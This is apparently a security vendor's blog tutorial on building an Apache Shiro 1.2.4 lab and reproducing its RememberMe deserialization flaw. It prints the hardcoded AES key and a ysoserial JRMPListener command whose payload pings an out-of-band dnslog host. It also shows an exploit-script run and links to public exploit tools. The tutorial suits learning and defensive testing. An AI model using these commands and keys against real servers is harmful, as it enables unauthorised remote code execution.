Apache Shiro环境搭建及反序列化漏洞复现-





首页 产品与服务 解决方案 客户案例 技术支持 合作发展 关于美创 用户退出 合作商登录 用户登录 申请试用

行业解决方案政府解决方案金融解决方案医疗解决方案教育解决方案能源解决方案物流交通解决方案

售后服务文档中心年度培训

渠道政策申请成为合作伙伴渠道专区

公司动态行业资讯安全研究

热门阅读

浙江省委宣传部副部长、省委网信办主任赵磊：守正创新辩证施策全力推动网络生态治理工作迈上新台阶

2026-02-10

美创产品全面入围中直机关2025年网络设备框架协议采购项目

2026-02-04

连续5年！美创再获中国网络安全产业联盟“先进会员单位”表彰

2026-01-21

每周安全速递³⁷¹ | 勒索软件攻击导致心理健康机构超11万人数据泄露

2026-01-06

四年同行，韧性共铸：西南某商行携手美创科技再度通过年度容灾大考

2025-12-26

每周安全速递³⁷⁴ | Osiris勒索软件利用BYOVD技术禁用安全工具

2026-02-02

每周安全速递³⁷² | DeadLock勒索软件团伙利用Polygon智能合约存储代理服务器地址

2026-01-19

每周安全速递³⁷¹ | 勒索软件攻击导致心理健康机构超11万人数据泄露

2026-01-06

Strix自动渗透测试平台搭建与使用

2025-12-22

每周安全速递³⁷⁰ | 勒索软件攻击导致心理健康机构超11万人数据泄露

2025-12-19

Apache Shiro环境搭建及反序列化漏洞复现

发布时间：2021-05-06 阅读次数： 444 次

环境搭建

Windows 10 64位

Apache Tomcat

Apache Shiro 1.2.4

Oracle JDK 1.8

下载Apache Tomcat，这里下载的是8.5.59的版本

http://tomcat.apache.org/download-80.cgi

下载完成后直接解压，然后到bin目录下双击运行startup.bat启动tomcat。这里注意8080端口不要占用了，否则会启动失败。启动成功后直接访问http://127.0.0.1:8080

出现以下界面为启动成功

下载Apache Shiro 1.2.4的war包：

https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A提取码：zg4h。下载完成后解压部署在tomcat的webapps目录下

访问http://127.0.0.1:8080/shiro/login.jsp，shiro部署成功

Apache Shiro 1.2.4反序列化漏洞复现

漏洞介绍：

Apache Shiro 是企业常见的Java安全框架，执行身份验证、授权、密码和会话管理。2016年，曝光出1.2.4以前的版本存在反序列化漏洞。Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe，cookie的值是经过对相关信息进行序列化，然后使用aes加密，最后在使用base64编码处理形成的。

在服务端接收cookie值时，按照如下步骤来解析处理：

1、检索RememberMe cookie 的值

2、Base 64解码

3、使用AES解密(加密密钥硬编码)

4、进行反序列化操作（未作过滤处理）

在调用反序列化时未进行任何过滤，导致可以触发远程代码执行漏洞。

由于使用了aes加密，要想成功利用漏洞则需要获取aes的加密密钥，而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==，这里就可以通过构造恶意的序列化对象进行编码，加密，然后作为cookie加密发送，服务端接收后会解密并触发反序列化漏洞。

尽管目前已经更新了许多版本，官方并没有反序列化漏洞本身解决，而是通过去掉硬编码的密钥，使其每次生成一个密钥来解决该漏洞。但是，目前一些开源系统、教程范例代码都使用来固定的编码，这里我们可以通过搜索引擎、github等来收集密钥，提高漏洞检测与利用的成功率。

漏洞复现：

进行登录操作，http://192.168.99.145:8080/shiro/login.jsp

Burpsuite抓包，可以在返回包头部信息中看到rememberMe=deleteMe指纹信息

下载exp和ysoserial，

https://github.com/insightglacier/Shiro_exploit

将ysoserial复制到跳板机上，在跳板机上运行命令：java -cpysoserial.jar ysoserial.exploit.JRMPListener 12580 CommonsCollections4"ping zle58m.dnslog.cn"，监听12580端口

在攻击机上运行脚本：python2 shiro_exp.py 121.196.124.61:12580，IP端口为上述跳板机的ip和监听端口，运行成功即生成反序列化payload

将payload复制到burpsuite的cookie请求头中，重放请求

可以看到跳板机监听端口上收到请求

Dnslog成功输出记录

也可以直接用github上的漏洞利用工具进行直接利用：https://github.com/lz520520/railgun